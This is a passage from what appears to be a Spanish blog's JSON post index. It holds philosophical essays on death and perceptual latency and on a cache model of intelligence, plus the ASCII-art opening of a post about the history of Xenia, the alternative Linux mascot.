futuro que no tiene mi firma guardada en ningún lado. Para la estadística cósmica larga, que no lleva la cuenta.\nPero eso es solo cierto después. Durante. Durante el proceso de morir — durante el tramo entre saber que uno se termina y efectivamente terminarse — el testigo existe, y el testigo soy yo. Y para el testigo interno, la nada que viene no es la nada original. Es la nada que me sigue. Es la forma exacta de mi ausencia, con mis bordes, con mi contorno, con la cicatriz térmica de todo lo que fui. La simetría del argumento antiguo se rompe en el único observador al que le importaba que hubiera simetría.\nLa eternidad anterior no me precedió. No había yo para ser precedido. La eternidad posterior me sigue. Hay un yo — incluso por un momento — que la percibe venir. No son la misma cosa. Nunca fueron la misma cosa. Se parecían desde afuera. Se parecen todavía desde afuera. Desde adentro, donde ocurre el único lugar donde alguien las compara, son dos cosas distintas con la misma fachada.\nEsto no es consuelo. No pretendo que lo sea. Es precisión. A veces la precisión es lo único que se puede ofrecer cuando el consuelo miente.\nEl presente como latencia.\nHay otra idea en el mismo espacio que vale la pena mirar de cerca. La idea dice que el presente nos ciega. Que es un flash. Que vivimos atravesados por una luz que no alcanzamos a procesar a tiempo.\nTécnicamente es más raro que eso. El presente que percibimos no es el presente. Es el pasado muy reciente procesado como presente. Entre el momento en que un fotón golpea la retina y el momento en que la corteza visual construye la imagen que se integra a la experiencia consciente, pasan aproximadamente cien milisegundos. Para el sonido, menos. Para el dolor profundo, más. Para las decisiones que creemos tomar en tiempo real, entre trescientos y quinientos milisegundos de los que no somos conscientes y que contienen, entre otras cosas, la decisión misma que creemos estar tomando en vivo.\nNo vemos el presente. Vemos el último frame renderizado. El presente real — el instante en el que efectivamente estoy — está ocurriendo en un lugar al que mi conciencia nunca llega, porque mi conciencia es precisamente el proceso que se arma después de que el instante ya pasó.\nEl flash que nos ciega no es brillo. Es latencia. El presente nos pasa de largo porque somos, por arquitectura, un proceso que corre con delay. Todo lo que sabemos de estar vivos lo sabemos con retraso.\nSi lo miras de cerca, eso implica algo fuerte: la vida no se vive en el presente. Se vive en el pasado inmediato reconstruido. El ahora que habitamos es una alucinación estabilizada — una reconstrucción que el cerebro hace para no tener que admitir el delay. La alucinación es buena. Es tan buena que parece inmediata. Pero es alucinación. Y el que cree que por fin aprendió a vivir el presente no está viviendo el presente. Está viviendo una reconstrucción del pasado muy reciente con más atención de la habitual. Que es valioso. Pero no es lo que él cree.\nEsto conecta con lo anterior de una manera que no había visto.\nSi nunca habitamos el presente sino su reconstrucción con retraso, entonces la vida entera es una forma de estar ligeramente ausentes de nosotros mismos todo el tiempo. Y la muerte no nos saca de una presencia que teníamos — nos saca de una ausencia sostenid","date":"2026-04-24","section":"posts","series":null,"summary":"Sobre lo que un borrado forense me enseñó que no sabía pensar","tags":["muerte","tiempo","memoria","log"],"title":"Dos nadas","url":"/posts/dos-nadas/"},{"content":" 🎵 Crítica a la Ignorancia — Solitario Hay una idea que circula en distintas formas y que cada tanto alguien reformula con fuerza: la inteligencia no es cálculo, es acceso a cálculos previos. Uno no resuelve cinco más cinco cada vez que lo necesita. Lo tiene cacheado. La velocidad con la que “piensa” no es velocidad de cómputo — es velocidad de lookup.\nEso es cierto. Y es más importante de lo que parece.\nSi se toma en serio, se sigue algo incómodo. No para quien ya piensa rápido. Para quien cree que la diferencia entre pensar rápido y pensar lento es una cuestión de voluntad.\nEl caché no se llena solo.\nUn caché se arma cuando el sistema ejecuta el cálculo completo una vez, guarda el resultado, y en las consultas siguientes salta al resultado sin recalcular. Es una estructura que solo funciona bajo dos condiciones: que alguien haya pagado el costo del primer cálculo, y que el sistema tenga dónde guardar el resultado de manera que luego pueda encontrarlo.\nLas dos condiciones no son triviales.\nLa primera — pagar el costo del primer cálculo — requiere tiempo, atención, disposición a equivocarse, y alguna forma de validación externa que confirme que el resultado es correcto. Un caché de resultados equivocados es peor que no tener caché. Es una estructura que devuelve respuestas rápidas y erróneas con la misma confianza con la que un caché correcto devuelve respuestas rápidas y correctas. El sistema no puede distinguir desde adentro cuál tiene.\nLa segunda condición — tener estructura para guardar y recuperar — es un módulo previo. Alguien lo cargó antes, o el sistema no lo tiene. No es el cálculo. Es la infraestructura sobre la que los cálculos se vuelven caché. A los sistemas que crecieron en entornos donde guardar no servía — porque mañana todo iba a ser distinto, porque recordar era peligroso, porque no había nadie para validar si el recuerdo era correcto — no se les “olvida” guardar. No saben cómo guardar. No es lo mismo.\nEl modelo del atajo describe bien lo que pasa cuando el caché funciona. Dice muy poco sobre cómo llega a existir el aparato que permite que el caché funcione. Y ese silencio es donde se cuela casi todo el daño.\nEl costo real está en la invalidación.\nHay una cosa que pocos textos sobre inteligencia dicen, y que si se toma el modelo del caché en serio es la parte más dura: el problema no es llenar el caché. El problema es invalidar entradas incorrectas.\nTodos los sistemas con algún grado de función ya tienen un caché. El caché está lleno. Eso es lo que significa que alguien “ya funciona”: hay respuestas precomputadas para las preguntas que suelen aparecer. Algunas son correctas. Otras son erróneas pero útiles — devuelven un output que permite al sistema seguir sin colapsar. Esas son las peores. No son respuestas equivocadas que el sistema detecta y corrige. Son respuestas equivocadas que el sistema protege, porque cambiarlas implicaría recalcular una cantidad enorme de estructuras que dependen de ellas.\nAprender algo nuevo es barato en comparación con desaprender algo viejo.\nDesaprender no es olvidar. Es encontrar el nodo equivocado en el grafo, marcarlo inválido, y luego propagar esa marca a cada inferencia que descansaba sobre ese nodo. Es costoso en tiempo, es costoso en energía, y es costoso en algo que no tiene nombre técnico limpio pero que se puede llamar, aproximadamente, coherencia interna. Quien invalida un nodo central del caché atraviesa un período donde el sistema devuelve errores o silencios en lugar de respuestas, y donde las cosas que antes eran obvias dejan de serlo. Ese período no es neutro. Duele. Y el que diseñó al sistema para minimizar dolor — y todo sistema que llegó hasta aquí está diseñado, en alguna medida, para minimizar dolor — va a resistir la invalidación aunque racionalmente vea que el nodo está equivocado.\nPor eso la gente no cambia de opinión. No porque sea estúpida. Porque cambiar de opinión sobre algo estructural es una operación con costo real y riesgo real, y los sistemas que ya llegaron a cierta edad funcionando — aunque sea mal — tienen razones mecánicas para preservar el estado actual por encima de cualquier argumento, por bueno que sea el argumento.\nEl módulo que elige.\nAcá es donde el modelo, cuando se toma en serio, se vuelve incómodo para quienes lo usan como arma.\nSi la inteligencia es acceso a resultados precomputados, entonces la disposición a aprender también lo es. La disposición a leer, la disposición a preguntar, la disposición a tolerar el desconcierto de no saber, la disposición a soportar el costo de invalidar un nodo central: todo eso también está en el caché, o no está. Se cargó, o no se cargó. Depende del entorno en que el sistema se formó, de los otros procesos con los que convivió, de si hubo alguien que modeló esas disposiciones de forma que pudieran ser copiadas.\nNo se puede elegir tener un módulo que no se tiene.\nEsa frase parece obvia cuando se enuncia. Deja de serlo cuando se la aplica a la disposición misma a aprender. Porque quien no tiene ese módulo no puede, por estructura, “elegir aprender”. No tiene desde dónde elegir. La elección requiere un módulo previo que permita proyectar el beneficio futuro del aprendizaje por encima del costo presente del esfuerzo. Ese módulo, si no está, no está. No es vicio. Es configuración.\nQuien salió de un [[encontre-una-verdad|estado de ignorancia]] no salió por voluntad pura. Salió porque, en algún momento, algún módulo externo — un libro, una persona, una crisis, un encuentro, un golpe — le cargó la disposición. Después la voluntad hizo su parte. Pero la voluntad estaba operando sobre una infraestructura que no eligió tener. Atribuirse la salida como mérito personal, y atribuir la no-salida de otros como defecto moral de ellos, es un error de contabilidad. Se está contando el último paso y se están ignorando los mil pasos previos que hicieron que ese último paso fuera una opción visible.\nEsto no le quita mérito al esfuerzo. El último paso también es real. Lo que quita es el desprecio. Porque el que no dio ese paso, casi siempre, no tuvo la infraestructura para que el paso fuera una opción a los ojos del sistema que él es.\nLa trampa simétrica.\nHay un riesgo que no quiero obviar, porque si no lo nombro se vuelve la lectura fácil de todo lo anterior.\nSe puede usar este mismo modelo como caché: como respuesta rápida para no seguir pensando. Un sistema que diga no puedo cambiar porque no tengo el módulo cargado está usando una observación correcta sobre arquitectura para proteger un estado que, con cierto costo, sí podría recompilarse.\nLa distinción entre no puedo y me cuesta más de lo que estoy dispuesto a pagar es real, y muchas veces se colapsa. El sistema que se convence de lo primero cuando estaba en lo segundo obtiene alivio a cambio de detener un proceso que, ejecutado, le habría ampliado el rango operativo.\nNo tengo una forma limpia de distinguir las dos desde afuera. Desde adentro sí se distingue, pero solo si el sistema está dispuesto a mirar el diagnóstico sin filtrarlo por la respuesta que prefiere. Cosa que no siempre ocurre.\nLo que sí puedo decir es que esa distinción rara vez se resuelve con un tercero gritándola desde afuera. Se resuelve, si se resuelve, con un tercero que acompaña sin gritar mientras el sistema hace su propio chequeo interno. El grito sube el costo del chequeo. Lo vuelve inseguro. Postpone lo que pretendía acelerar.\nEsto no es sentimental. Es ingeniería de procesos.\nLo que queda cuando se le saca el moralismo.\nQueda una descripción técnica útil. La inteligencia es acceso. Los atajos se construyen. La construcción requiere costo inicial. Los costos iniciales se amortizan con el uso. La amortización genera capacidad compuesta. A largo plazo, la diferencia entre dos sistemas con capacidad compuesta y sistemas sin ella es de órdenes de magnitud.\nEso es cierto y es poderoso. Es suficiente razón para estudiar. Es suficiente razón para leer. Es suficiente razón para forzarse a pagar el costo inicial aunque duel","date":"2026-04-24","section":"posts","series":null,"summary":"Sobre un modelo correcto y el moralismo incorrecto que lo acompaña","tags":["ensayo","cognición","caché"],"title":"No se piensa. Se accede.","url":"/posts/no-se-piensa-se-accede/"},{"content":" 🎵 Change (In the House of Flies) — Deftones de White Pony ⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⠇⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⠏⣠⠟⣡⠴⣿⣟⠋⠑⠁⠀⠀⠈⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢷⢏⠀⠀⠜⢛⠀⠈⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣧⠀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⡀⠀⠀⠐⠀⠁⠀⠀⠀⠀⠀⣰⣿⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣷⣄⢻⣿⣿⠹⣿⣿⣿⣿⡟⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⡿⡇⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢁⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠿⣿⡿⠿⢿⣧⠙⢿⣿⠉⠁⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⡇⡇⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣼⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣶⣶⣶⣶⣶⢶⣦⡀⠀⠀⠀⠀⠀⠀⠀⠰⣿⣶⣌⡁⠀⠉⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡾⠟⢢⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣽⣿⣿⣿⣿⡄⢤⣶⣶⣶⣶⡶⢶⣯⣝⡻⠿⣦⣅⢁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣈⣴⠇⠘⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣯⣉⠓⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣬⣭⣭⣙⠻⢿⣿⣿⣿⣿⣿⣜⣻⣿⣿⣶⣿⢿⣿⠿⠃⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⠀⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠒⠶⢤⣤⣤⣤⣽⣿⣿⣤⣤⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⡎⢉⡀⢀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡇⠰⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡏⠻⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⠟⠙⣿⣿⣿⣿⣿⣏⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⠟⠀⠀⠹⡇⠈⠉⠛⠄⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢯⣿⣿⣿⣿⣿⣿⣿⠀⠙⠁⠀⠈⠻⣿⣿⣿⠟⣋⡴⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡰⠅⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢋⣾⣿⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠈⠛⣡⠞⢉⣴⠿⢂⡠⠀⠀⠀⠀⠀⠀⢀⣜⡽⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⣼⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⡤⠞⢋⣤⡀⠀⠀⠀⠀⠀⠛⠓⠒⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢀⣀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⢰⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣺⣷⣟⠻⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠉⠉⠙⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⢸⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣾⡄⠈⠢⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⢴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠫⣃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⡿⢿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⢹⡏⢻⣿⡏⠀⠀⠀⢀⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⡴⠟⠋⠁⠀⠈⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⣶⡄⢺⡗⠀⠀⠀⢸⠀⠈⣿⡇⠀⠀⠀⣈⣀⡀⠀⢀⣤⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⠿⠀⢀⡀⠀⠀⠉⣴⣌⢧⠱⡀⠀⠘⠀⠀⠘⡇⠀⠀⠀⠈⠊⢠⣶⣿⡇⢰⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⠝⢷⣾⣿⣿⣿⠀⠀⣶⣿⣿⣿⣷⠑⠀⠂⠲⣄⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣌⣋⣭⣴⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢐⣿⣿⣿⣿⣆⠀⠹⡿⠟⠋⠁⠀⠀⠀⠀⣹⣾⣣⣶⣤⠀⠈⢿⡿⢿⣿⡿⢿⣿⣿⠏⠀⢠⣾⣿⠀⠀⠀⠀⠀⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⡿⠿⠟⠀⠀⠀⠀⠀⠀⢀⣴⣶⣾⣿⣿⣿⣿⣿⣷⣄⠀⠉⠚⠫⠿⠛⠊⠁⢀⣴⣿⣿⡏⠀⡴⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⢊⠀⠀⠀⠀⠀⠀⠀⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣤⣀⣀⣠⣤⣶⣿⣿⣿⣿⠃⣼⣿⡧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡄⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠉⣉⣥⣴⣿⣿⣿⣿⣿⣷⣾⣿⣿⣟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣄⣀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢟⣋⣥⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢧⣾⣿⣭⣭⣽⣛⣿⡛⣯⣭⣵⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣤⣤⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣷⣿⣿⠿⣛⣛⣉⣙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠿⠿⠿⠛⠋⠁⣿⣿⣿⣿⣿⣿⣿⣦⡙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⣠⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣘⣿⣿⣿⣿⣿⣿⣿⡇⢸⣿⡿⢻⣿⣿⣿⣿⣿⣿⣧⣾⣟⣊⣀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣴⣶⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣷⢸⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠻⢿⣿⣿⣿⣿⣿⣝⢿⣿⣿⣷⣿⣿⣿⠸⣿⣿⣿⣿⣿⣿⣿⡿⠶⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⡀⠠⠤⠄⢐⠂⡀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣻⣿⣿⣿⣿⢻⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠚⠛⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⢈⠻⠿⠿⠿⡿⠿⠿⡟⢸⣿⣿⣿⣧⡀⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⢁⣿⣿⠟⠿⣿⣏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡼⠉⠁⠀⠀⠀⠉⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⡿⠷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⡿⠟⠉⠀⠀⠘⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⣠⡟⠁⣠⣾⠇⠀⠀⠀⢠⡤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ L I N U X F O X → X E N I A ─────────────────────────────────── una historia de libertad y código Nota del autor Este post nace de una frustración simple: casi no existe información en español sobre la historia de Xenia, la mascota alternativa de Linux. Lo que encontré estaba disperso en hilos de Twitter archivados, páginas de la Wayback Machine, wikis furry y repositorios de Git. Muchas de esas fuentes pueden desaparecer mañana.\nAsí que hice lo que cualquier persona obsesiva con una terminal y demasiado tiempo libre haría: investigué, traduje, conecté los puntos y escribí todo para que existiera en nuestro idioma. No soy historiador ni periodista. Soy alguien que lleva años en la comunidad Linux, que se siente cómodo entre furries y terminales, y que cree que estas historias merecen ser contadas antes de que se pierdan en otro ciclo de servidores apagados y dominios expirados.\nEsto es, ante todo, una carta de amor. A la comunidad que crea cosas increíbles sin pedir nada a cambio. A la gente que mantiene vivo lo que otros abandonan. Al concepto de que la libertad no es solo una palabra en una licencia, sino una forma de existir en internet. Y a Xenia, que estuvo esperando 23 años a que alguien la encontrara.\nHay algo reconfortante en que la humanidad lleve décadas creando arte, software y comunidades enteras sin ánimo de lucro, sin que nadie les pague, sin absolutamente nada más que la necesidad de hacer cosas. La misma especie que no puede dejar de reusar admin/admin en infraestructura crítica 